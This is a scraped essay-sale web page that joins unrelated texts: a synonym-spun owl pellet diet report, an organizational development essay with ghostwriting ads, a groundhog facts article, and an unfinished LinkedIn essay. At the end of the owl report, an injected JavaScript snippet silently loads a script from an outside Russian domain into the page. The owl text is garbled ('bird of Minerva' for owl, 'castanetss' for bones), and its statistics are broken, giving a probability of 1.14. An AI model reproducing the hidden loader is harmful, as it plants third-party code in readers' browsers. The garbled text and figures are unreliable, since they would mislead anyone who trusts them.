evidence from Japan.Asian Review of Accounting,24(3).

The Comparison Of Diets Of Owl Essay free essay sample

, Research Paper Comparing the Feeding Habits of Barn Owls and Screech Owls Background Owls are comprised of two closely related households in the avian order Strigiformes-the barn bird of Minerva, or Tytonidae, and the typical bird of Minerva, or Strigidae. Owls are comparatively big birds, with a large caput and short cervix, a aquiline beak, talons adapted to prehend quarry, and soft, heavy feather adapted for Swift yet about soundless flight. Owls have big eyes located on the forepart of their face. The eyes are about fixed in their sockets, so that the full caput must be rotated or bobbed for the regard to be shifted and for distance to be assessed. Owls have first-class hearing and really big ears, although these are covered by plumes and are non readily seen. The ears are placed unsymmetrically on the caput to assistance in observing the location of distant, about soundless quarry. Their sense of hearing is likely besides aided by their facial disc, which helps to concentrate sound moving ridges onto the ears. We will write a custom essay sample on The Comparison Of Diets Of Owl Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page An bird of Minerva # 8217 ; s sense of hearing is so acute that it can accurately strike its quarry in entire darkness, following the squeaks and rustling sounds created by a little mammal in gesture. The sex of an bird of Minerva is non easy to separate, although typically, female bird of Minerva are larger than males. Owls Begin to incubate their eggs as they are laid. When hatching occurs it is consecutive, and different-sized immature are in the nest at the same clip. During old ages when quarry is comparatively abundant, all of the immature will hold plenty to eat and may last. In leaner old ages, nevertheless, merely the largest immature may be fed adequately. ( Egan, T. ( 1994 ) . Oregon, Foiling Forecasters, Thrives as it protects owls. New York Times, October 11, pg A1, A19 ) Most bird of Minervas are nocturnal marauders, largely feeding on little mammals and birds, and sometimes on little reptilians, toads, larger insects, and angleworms. A few specialised bird of Minervas feed on fish. Owls are known to alter their nutrient penchant, depending on local or seasonal handiness. Most owls do non digest the pelt, plumes, or castanetss of their quarry, and they regurgitate these points as pellets, which can be collected at roosts and examined to larn about the eating wonts of these birds. Barn bird of Minerva The barn bird of Minerva are a distinctive-looking group, with a characteristic like facial disc of stiff, white plumes, dark eyes, long legs that separate them from typical bird of Minerva. All barn bird of Minervas are nocturnal marauders, and their quarry consists largely of little mammals. There are nine species of barn bird of Minerva ( genus Tyto ) and two species of closely related grass bird of Minerva ( genus Phodilus ) . The most familiar species is the barn bird of Minerva ( Tyto alba ) . The barn bird of Minerva is one of the most widely distributed species of birds, happening on all continents except Antarctica. The barn bird of Minerva is the lone representative of this household in the Americas, happening uncommonly through most of the United States and in much of Central and South America. The barn bird of Minerva nests in pits in trees and in barns and abandoned edifices, and it hunts at twilight and at dark over fens, prairies, Fieldss, and farmyards. Screech Owl The screech-owl ( Otus kennicotti ) is a comparatively familiar species in forests of temperate parts. This 8.5 # 8243 ; ( 22 centimeter ) long species occurs in several colour phases-grey, ruddy, and brown-and it nests in pits and sometimes nestboxes. Owl Pellets The mean owl pellet contains castanetss and other non-digestible points such as hair and plumes. After the bird has eaten its quarry ; the quarry is digested into the ventriculus where grinding occurs. After crunching the bird # 8217 ; s ventriculus makes a ball of the indigestible stuff, is expelled by oral cavity. An mean bird of Minerva can bring forth an norm of one to two pellets a twenty-four hours. John Day, Oregon The John Day country is considered a semi-arid desert part. John Day, Oregon is located at Latitude 44.418427 and Longitude -118.949399, which is 125 stat mis south of Pendleton, Oregon in Eastern Oregon. A desert is an waterless land country, one that loses more H2O through vaporization, than it additions through precipitation-rain, sleet, or snow. These countries by and large receive fewer than 10 in ( 250 millimeter ) of H2O yearly. Average one-year precipitation in the universes comeuppances scopes from about 0.4-1 in ( 10-25 millimeter ) in the driest countries to 10 in ( 250 millimeter ) in semiarid parts. The term desert can besides be defined by comparing the solar energy an country receives with the its one-year precipitation Desert animate beings The many animate beings that have adapted to harsh desert life include insects, arachnoids, reptilians, birds, and mammals. Unlike workss, these animate beings can seek shelter from the searing Sun, firing cold, and strong air currents by creeping into belowground tunnels. Reptiles, whose organic structure temperature is controlled by the temperature of their environment, travel between sunshine and shadiness to remain cool. Birds, utilize metabolic H2O, behavioural versions, active at twenty-four hours or cool parts of the twenty-four hours, may be mobile and they may migrate during the harsher seasons. Merely as the seeds of desert annuals can remain hibernating for decennaries, so can those of egg-laying desert animate beings. Amphibians and freshwater runt hatch, mature, mate, and put their ain eggs rapid sequence in desert pools created by infrequent storms. Some little mammals, such as gnawers, excrete merely concentrated urine and dry fecal matters, and perspire small as a manner of conserving organic structure fluids. Desert insects protect themselves from hot dry conditions with a waxy coating, long legs that maintain them elevated above the hot land, and virtually moistureless eliminations. ( Watkins, T.H. ( 1995 ) . Desert Extraordinare. Audubon 97: 44-54. ) My inquiry is how make the Western Screech-owls and the Barn-owls diets compare. Both unrecorded in John Day part of Eastern Oregon, which make the same assortment and sum of quarry available to both of the bird of Minerva. I hypothesis that their diet will be really similar if non the same due to the same assortment of quarry that live in John Day Oregon. Both of the bird of Minervas have similar eating wonts that include quarries like Vole, mice, birds and occasional serpents. I will compare a survey done by Hancock Field Station in John Day Oregon on the types of nutrient that the Barn-owl chows in conformity to what they find in the bird of Minerva pellets verses what I find in five Western Screech-owl pellets. When I looked at the castanetss in the five different Screech bird of Minerva pellets, I was able to see what sort of animate beings they were from and therefore utilize these consequences against the consequences of the Barn owl prove done at Hancock Field Station. Comparing these two sets of informations will assist me reply my inquiry of how the diets of Screech bird of Minerva and Barn owls compare. Materials and Methods To happen out how the Barn bird of Minerva and the Western Screech-owl # 8217 ; s diets compare I collected owl pellets to happen out what the bird of Minerva are eating. I located Western Screech-owl pellets, but was non able to obtain any Barn bird of Minerva pellets from Eastern Oregon. In stead of Barn owl pellets, I located a survey done by the Hancock Field station in John Day refering the eating wonts of Barn owls. I so collected five Screech bird of Minerva pellets to dissect. When I finish dissecting the Western Screech-owl pellets I will hopefully be able to happen out the mean diet of a Western Screech-owl. To happen out what the bird of Minerva # 8217 ; diet utilizing the bird of Minerva pellet, the pellet must be dissected and the different castanetss and skulls examined. I used a dental choice and a brace of pincers to divide the hair and plumes from the castanetss and skulls. Once all castanetss were separated from the hair, I identified animate beings by utilizing size of bone, colour of dentitions, size of skull, and what sort of stuff surrounds the castanetss ( i.e. hair or plumes. ) Once the castanetss were identified I determined what type of animate being. Using this technique on all five Western Screech-owl pellets I was able to acquire an indicant of what the Western Screech-owl # 8217 ; s. Consequences The consequences I got were similar to the consequences the Hancock Field Station found on their experiment with Barn bird of Minerva. When my survey of the bird of Minerva pellets was complete I had two pellets that were mice, two pellets that were Vole and one pellet which was of a bird. When I studied the remains of the bird of Minerva in the pellets I identified all the castanetss that were present and came up with a decision. In pellet one I removed the followers: Number of Bones Type of Bones 1 Skull / gt ; 2 Pelvis Boness 2 Tibia with Fibula 2 Humerus 5 Lumbar Vertebrae 3 Thoracic Vertebrae 2 Cervical Vertebrae 6 Ribs 1 Xiphisternum A manner you can state that this animate being is a gnawer is by the animate being # 8217 ; s teeth being orange. Orange teeth are alone to gnawers and gnawers merely. This animate being besides had a smaller thirster and stouter skull, which ruled out Moles, Shrews and Voles. In pellet two I removed the followers: Number of Bones Type of Bones 1 Skull 1 Tibula with Fibula and Femer 2 Pelvis Boness 1 Radius Ulna 6 Lumber Vertebrae 1 Sacrum 2 Humerus 1 Femur 2 Cervical Vertebrae 3 Thoracic Vertebrae 4 Ribs 1 Radius with ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. In pellet three I removed the followers: Number of Bones Type of Bones 1 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 1 Femur 2 Wrist 1 Ulna with Radius This pellet had no skull but had a talon and a keel, which made it a bird. There were different castanetss found in this pellet than any other pellet. The different castanetss included Claricle, Carpus, Tibiotarsus, Tarsometatarus and a Keel. These castanetss ruled out any other animate being other than a bird. In pellet four I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibula with Fibula and Metatarsal 1 Pelvis Boness 1 Metacarpals 1 Tail 2 Femur 2 Humerus 2 Radius with Ulna 1 Tibia with Fibula 1 Scapula 4 Lumbar Vertebrae 5 Ribs 1 Thoracic Vertebrae The animate being in this pellet had a midst and long skull with orange dentitions. It besides had a longer tail with both pess. The orange dentition made it a gnawer and the size and form of the skull ruled out a Mole, Shrew and a Vole. After careful analysis of the castanetss and the skull I determined that the animate being whose castanetss were in this pellet was a mouse. In pellet five I removed the followers: Number of Bones Type of Bones 1 Skull 2 Tibia with Fibula 2 Pelvis Boness 2 Humerus 2 Femur 3 Lumbar Vertebrae 1 Sacrum 1 Thoracic Vertebrae 2 Cervical Vertebrae 4 Ribs 1 Radius Ulna This animate being besides had orange dentitions, but the skull was longer and dilutant. This ruled out a mouse and the orange dentition ruled out moles and termagants. The castanetss were besides bigger than a mouse so my decision was it was a Vole. When I finished placing all the castanetss I wanted to acquire a full count of what I found and how many of a idiot type of bone I found. The undermentioned chart is all my informations combined. Number of Bones Type of Bones 4 Skull 2 Tibula with Fibula and Metatarsal 7 Pelvis Boness 1 Metacarpals 1 Tail 6 Femur 8 Humerus 4 Radius with Ulna 3 Tibia with Fibula 1 Scapula 12 Lumbar Vertebrae 19 Ribs 10 Thoracic Vertebrae 6 Keel 1 Tarsometatarus with Digits 1 Sternum 1 Tibiotarsus with Fibula and Femur 1 Claricle 1 Tibula 2 Wrist 1 Ulna with Radius The Hancock Field Station surveyed 1,000 Barn-owl pellets. After dissecting them in the same manner I dissected the Western Screech-owl pellets they came up with the following informations: Type of Animal Number of Animals Vole 562 Mouse 284 Bird 154 ( Hancock Field Station ( 1999 ) A Survey in the Eating Habits of Barn-owls. Not Published ) After close rating of this information I came up with the ratio of 4:2:1 with Vole, mouse and bird severally. After I evaluated the informations given to me by Hancock Field Station I compared it to my ratio of 2:2:1 with Vole, mouse and bird severally. I used my ratio against the ratio I got from Hancock Field Station and used it in a eventuality tabular array. A eventuality tabular array is similar to a chi-square analysis, but expected informations is non required. Data is collected on two properties of the elements in a survey. When I entered my informations into a computing machine I got G = 0.707, P = 1.14, df = 5 which means that the two samples are non statistically different. Discussion When I began this experiment I wanted to cognize if the diet of Barn-owls and Western Screech-owl which both live in similar topographic points. I hypothesized that they would be similar because of the similar eating wonts of both Barn-owls and Western Screech-owls. I found that my consequences supported my hypothesis. The consequences I got were a 2:2:1 ratio with Vole, mice and birds respectfully. They compared to the trial done by Hancock Field station with the Barn bird of Minerva ; their consequences were a 4:2:1 ratio with Vole, mice and birds respectfully. My consequences do non to the full reflect the eating wonts of Screech owls that unrecorded in John Day. Due to the deficiency of bird of Minerva pellets, I was non able to acquire a full representation of what Western Screech-owls eat. To to the full stand for the eating wonts of the Screech bird of Minerva, I would necessitate 200-300 pellets. This survey is of import to happen out what the bird of Minerva in John Day Oregon eat. The consequences I got showed what the Western Screech-owls eat verses what the Barn-owls eat. Scientists need to cognize this to see if there is adequate quarry in John Day to back up both the Screech and Barn owl population. If there is a deficiency of quarry there would be competition between Barn and Screech bird of Minerva, and that might take to a lessening of one type of bird of Minerva in John Day Oregon. If there was a lessening in the owl population in John Day, it could perchance throw off the whole ecosystem in non merely John Day but besides all of Eastern Oregon. So cognizing what the Barn bird of Minerva eats verses what the Screech bird of Minerva chows is imperative in maintaining non merely the prey population but besides the ecosystem in Eastern Oregon where it should be. Ecosystems and communities within a idiot system take 100s of 1000s of old ages to develop. But if one anima te being becomes nonextant due to the fact that it has to many marauders, the branchings of the animate being # 8217 ; s extinction could last for 100s of 1000s of old ages. So it is of import to cognize how many marauders a idiot animate being has so you can do certain there is adequate quarry for the marauders. If you run out of quarry, the marauder starts to decease off and a whole prostration of the nutrient web happens and it has a immense consequence on the whole ecosystem. Some failings that occurred in my experiment were a deficiency of Western Screech-owl pellets. Some other failings might be the truth of the Hancock Field station experiment affecting the eating of Barn bird of Minerva. To to the full acquire an accurate consequence in this experiment I would necessitate to roll up 200-300 pellets from the Barn Owl and the Western Screech-owl. I would necessitate to do certain that the pellets were gathered in the same country during the same clip. I conclude that the feeding wonts of the Screech bird of Minerva and the Barn bird of Minerva are similar, but non precisely the same. Even though they might hold a similar feeding wonts could non be precisely the same. Different Owls provender on different things harmonizing to the owls size, flight velocity and oculus sight. The Barn Owl might eat more mice and Vole seeing how it nests in a barn and non out in the unfastened. The Western Screech-owl might eat more serpents and other outside animate beings. The nesting topographic point effects the eating wonts of Owls as do other factors. I can reason that they are similar, but can neer turn out they are the same. Further experimentation would be needed to acquire an perfectly accurate consequence and comparing between the Barn owls feeding wonts and the Screech owls feeding wonts ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Organizational Development paper

Organizational development (OD) as a technique helps to effect change in a company to improve its effectiveness. It contributes to a change process, and establishes long-term activities, including operation of self-managed or autonomous teams as well as problem solving opportunities (Anderson, 2011, p.2).Advertising We will write a custom essay sample on Organizational Development paper specifically for you for only $16.05 $11/page Learn More OD applies to scientific knowledge on behavioral development that embraces a number of concepts, including work design, leadership skills, team building and international design. The system is a flexible scheme that entails implementation of changes. Furthermore, it should adapt quickly to changes and, when the new data is introduced or experienced, it should be ready to process it (Cummings and Worley, 2008, p. 50). Indeed, it involves a long range of efforts that will improve problem-solving strategies, as well as its ability to face various challenges within an organization (Cummings and Worley, 2008, p. 2). Organizational development considers change a process that involves a set of such activities as planning, diagnosing, assessing, and implementing (Jex and Britt, 2008, p. 477). The organizational development process assures the establishment of favorable relationship within a work environment and outside it and provides groups with the possibility to initiate and manage change. Further, organizational development is considered a set of core values, such as respect and commitment, genuineness and cooperation, self-awareness and improvement, democracy and feeling of justice. The process is made up of the four main activities. These are introducing, analyzing, planning, and implementing (Anderson, 2011, p. 42). The process involves an action research scheme which allows to define the problem and analyze the reasons for introducing changes. Further, it is purposeful to plan an intervention, evaluate and implement it. The next step will involve collecting information to assess the intervention and define whether progress has been reached or whether further interventions are needed. Furthermore, it begins when a leader envisions relevant approaches and strives to enhance organizational performance (Jex and Britt, 2008, p. 473). Organization development relies on open systems methods and schemes so as to get a better idea of organization’s goals. Therefore, a shift occurred to one department of an organization cannot be supported without introducing shifts to other departments (Cummings and Worley, 2008, p. 50).Advertising Looking for essay on business economics? Let's see if we can help you! Get your first paper with 15% OFF Learn More Organization development stems basically from three psychological theories for an organization to understand and motivate its employees. They include need theory, job analysis model, and expectancy theory that provid e a deep insight into personal differences among the team members, as well as different kinds of organizational aspects that influence behavior (Jex and Britt, 2008, p. 478). Need theory as a strategy considers motivation as a means to meet people’s needs and concerns. Need theory is strongly associated with organizational development because it is based Maslow’s theory introducing a hierarchy of needs (Jex, Britt, 2008, p. 480). It starts from the bottom with physical needs, as the basic concerns, and followed up by needs of self-esteem and actualization (McLean, 2005, p.32). Job characteristic model analyzes the way the personnel work. It also demonstrates how an employed environment influences employees’ motivation with regard to three psychological states (Jex and Britt, 2008, p. 483). Expectancy theory focuses on motivation with regard to decisions that members make concerning the effort they will take to perform organizational tasks. It suggests that choic es about work effort are premised on particular beliefs or values that members uphold. The model is used to introduce effective techniques for an organization to enhance employee incentives, which is also possible through introducing reward systems (Jex and Britt, 2008, p. 486). The factors that introduce organizational change and development include performance challenges, competition, organizational challenges, and technological advances. Many change strategies are more effective in reducing restraining forces and, therefore, will allow the driving conditions to provide change and decrease resistance (Jex and Britt, 2008, p. 497). Participative management entails involving members directly in realizing the need for shifts, developing corresponding changes, and putting those into practice. It is also imperative to analyze the need for change and make significant external stakeholders believe that these changes are urgent (Anderson, 2011, p. 100). A vision will present future perspe ctives allowing an organization to communicate effective ideas to their employees and provide a healthy work environment. Course of action strategy needs to be developed as well to implement change. This will act as the algorithm for an organization offering directions to present an appropriate final state while defining challenges (Jex and Britt, 2008, p. 499).Advertising We will write a custom essay sample on Organizational Development paper specifically for you for only $16.05 $11/page Learn More Leaders should be able to provide sufficient internal support and create a solid platform for introducing changes. In such a way, they can reduce resistance for employees to take an active part in the process of organizational change. By ensuring full commitment to an organization, leaders will play a crucial role in increasing organizational performance (Anderson, 2011, p. 150). However, lack of effective leadership skills heightens the challenges for publi c institutions. In this respect, organization should be provided with sufficient resources to manage change effectively. At this point, introducing planned organizational change can foster a rational distribution of resources within an organization. In addition, the public provides a stronger force for altering their interest in products (Jex, Britt, 2008, p. 501). In conclusion, in order to effect organization change, there is the need to resort to such stages as change identification, implementation planning, implementation, evaluation of the results, and seeking feedback. It is also important for a leader to understand the potential of the organization with regard to employees’ experience and motivation. References Anderson, L. D. (2011). Organization Development: The Process of Leading Organizational Change. California: SAGE. Cummings, G. T., Worley, G. C. (2008). Organization development change. Vancouver: Cengage Learning. Jex, M. S., Britt, W. T. (2008). Organizati onal psychology: A scientist – practitioner approach. New Jersey: John Wiley Sons. McLean, N. G. (2005). Organization development: Principles, processes, performance. California: Berrett-Koehler Publishers.Advertising Looking for essay on business economics? Let's see if we can help you! Get your first paper with 15% OFF Learn More This essay on Organizational Development paper was written and submitted by user Meadow R. to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. 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Groundhog Facts (Marmota monax)

Groundhog Facts (Marmota monax) The groundhog (Marmota monax) is a type of marmot, which is a ground squirrel or rodent. It is familiar to Americans for its weather prognostication on Groundhog Day. The animal goes by many names, including woodchuck, groundpig, and monax. The name woodchuck refers neither to wood nor to chucking. Instead, it is an adaptation of the Algonquian name for the animal, wuchak. Fast Facts: Groundhog Scientific Name: Marmota monaxCommon Names: Groundhog, woodchuck, whistlepig, monax, siffleux, thickwood badgerBasic Animal Group: MammalSize: 16-20 inchesWeight: 5-12 poundsLifespan: 2-3 yearsDiet: HerbivoreHabitat: North AmericaPopulation: Abundant and stableConservation Status: Least Concern Description Within its range, the groundhog is the largest ground squirrel. Adults average between 16 and 20 inches long, including their 6-inch tail. The relatively short tail distinguishes this species from other ground squirrels. Groundhog weight varies dramatically throughout the year, but averages between 5 and 12 pounds. The animals tend to be brownish in color with four ivory incisor teeth. Groundhogs have short limbs that end in thick, curved claws suited to digging and climbing. Habitat and Distribution The groundhog gets its common name from its preference of open, low-elevation land, especially well-drained soil in fields and pastures. Groundhogs are found throughout Canada and in the eastern United States. Other types of marmots are common worldwide, but they tend to prefer rocky and mountainous habitats. Groundhog distribution. Andreyostr, Wikimedia Commons Diet and Behavior Technically, marmots are omnivorous, but groundhogs are more herbivorous than most species. They eat grass, berries, dandelion, coltsfoot, sorrel, and agricultural crops. However, they will supplement their diet with fallen baby birds, insects, snails, and grubs. Groundhogs do not need to drink water if they can obtain it from dew or plant juice. The rodents store fat and hibernate to survive winter rather than caching food. Groundhogs are preyed upon by humans, foxes, coyotes, and dogs. Young may be taken by hawks and owls. Reproduction and Offspring Groundhogs are never found far from their burrows, which they dig in the soil and use for sleeping, escaping predators, raising young, and hibernating. Groundhogs mate after they rouse from hibernation in March or April. The pair remains in the den for the 31 or 32 days of gestation. The male leaves the den before the female gives birth. The usual litter consists of two to six blind pups that emerge from the den after their eyes have opened and their fur has grown. Near the end of summer, the young move off to build their own burrows. Groundhogs may breed the following spring, but most become mature at two years of age. In the wild, most groundhogs live two to three years and up to six years. Captive groundhogs may live 14 years. Baby groundhogs look like miniature versions of the adults. Manfred Kuster / Getty Images Conservation Status The IUCN classifies groundhog conservation status as least concern. The rodents are abundant across their range and have a stable population in most places. They are not a protected species. Groundhogs and Humans Groundhogs are hunted as pests, for fur, for food, and as trophies. Although the rodents eat crops, groundhog burrows improve the soil and house foxes, rabbits, and skunks. So, maintaining a controlled population of groundhogs is beneficial to farmers. February 2nd is celebrated as Groundhog Day in the United States and Canada. The premise of the holiday is that groundhog behavior following hibernation may indicate the approach of spring. Groundhog Day in Punxsutawney, Pennsylvania. Jeff Swensen / Getty Images Research on groundhogs given hepatitis-B may further understanding of liver cancer. The only other suitable animal model for the disease is the chimpanzee, which is endangered. The groundhog is also a model organism for studies on obesity and other metabolic disorders and heart disease. While groundhogs may be kept as pets, they may display aggression toward their handlers. Usually sick or injured groundhogs may be rehabilitated for release back into the wild, but some do form bonds with their caregivers. Sources Bezuidenhout, A. J. and Evans, Howard E. Anatomy of the woodchuck (Marmota monax). Lawrence, KS: American Society of Mammalogists, 2005. ISBN 9781891276439.Grizzell, Roy A. A Study of the Southern Woodchuck, Marmota monax monax. American Midland Naturalist. 53 (2): 257, April, 1955. doi:10.2307/2422068Linzey, A. V.; Hammerson, G. (NatureServe) Cannings, S. (NatureServe). Marmota monax. IUCN Red List of Threatened Species. Version 2014.3. International Union for Conservation of Nature, 2008. doi:10.2305/IUCN.UK.2016-3.RLTS.T42458A22257685.enSchoonmaker, W.J. The World of the Woodchuck. J.B. Lippincott, 1966. ISBN 978-1135544836.OCLC 62265494Thorington, R.W., Jr. and R. S. Hoffman. Family Sciuridae. In Wilson, D.E.; Reeder, D.M. Mammal Species of the World: A Taxonomic and Geographic Reference (3rd ed.). Johns Hopkins University Press. p. 802, 2005. ISBN 978-0-8018-8221-0.

LinkedIn.com Essay Example | Topics and Well Written Essays - 1250 words

LinkedIn.com - Essay Example Even though the professional community is on the rise with the passage of time, it is without a doubt that LinkedIn fosters productivity and growth across the board, creates avenues for development for the individuals and lets them stay in touch until a business call is made, and remade for future endeavors that are undertaken. The role of the professionals is to solicit the development to come about in such a manner that they get in close contact with one another, and thus stay in touch for a long period of time (Cocheo, 2009). They must grow collectively by keeping in association with one another so that their mutual friends and acquaintances also come about to increase and expand the basis of the business in the coming times through LinkedIn. As a professional, I can use LinkedIn to get in close association with people who have similar interests. To get up close and professional with human services professionals, I need to know where I can have all of them at a single point. This would mean that I need to make a group page for myself where I could solicit invitations from people who have similar interests and whose area of work are much the same. This would keep them all tied up at a single location and allow them to grow collectively. LinkedIn is a very powerful social media tool which if used properly could reap sound results, professionally. People have been able to meet and get in touch with some of the most talented individuals on the professional circuit just because they believed in the power of selling themselves through their abilities, skills and competencies (Pont, 2005). I would make use of LinkedIn to know who is joining the particular community and assess his/her skills upfront so that I know what the new individuals joining up have to offer to the community and to the human services role in essence. The most significant aspect is to get them all wired up and that can only be done when they are at a single platform. Being tied to a professional community means that one automatically ends up in a referral and when one needs to know who to contact, he is directly connected with how he must know the other individual. There is immense connectivity involved within the entire LinkedIn phenomenon, which if used properly could reap rich dividends. LinkedIn is powerful because it links up people who are in the same line of business; work closely with one another or even who work under the aegis of each other. The bosses and the middle line managers are in touch and so is the general dictum of progressive change, which is all the more quintessential in this day and age. Business groups with online presence creates an arm that can reflect on the business and that too from a very narrowed-down perspective, which zeroes in on the fact that connectivity must remain supreme and more so when quality referrals for human service clients seem to be the buzzword. Support services are always backed up by quality referrals which remain the hal lmark of LinkedIn and that too for all the right reasons (Beckwith, 2009). Thus professional business community groups create a sense of optimism which is very significant as it boosts the business by linking up like-minded people. The training offered by these LinkedIn groups is a collective mesh of those individuals who are in the same line of business and who have to offer the same services to a particular area of business. What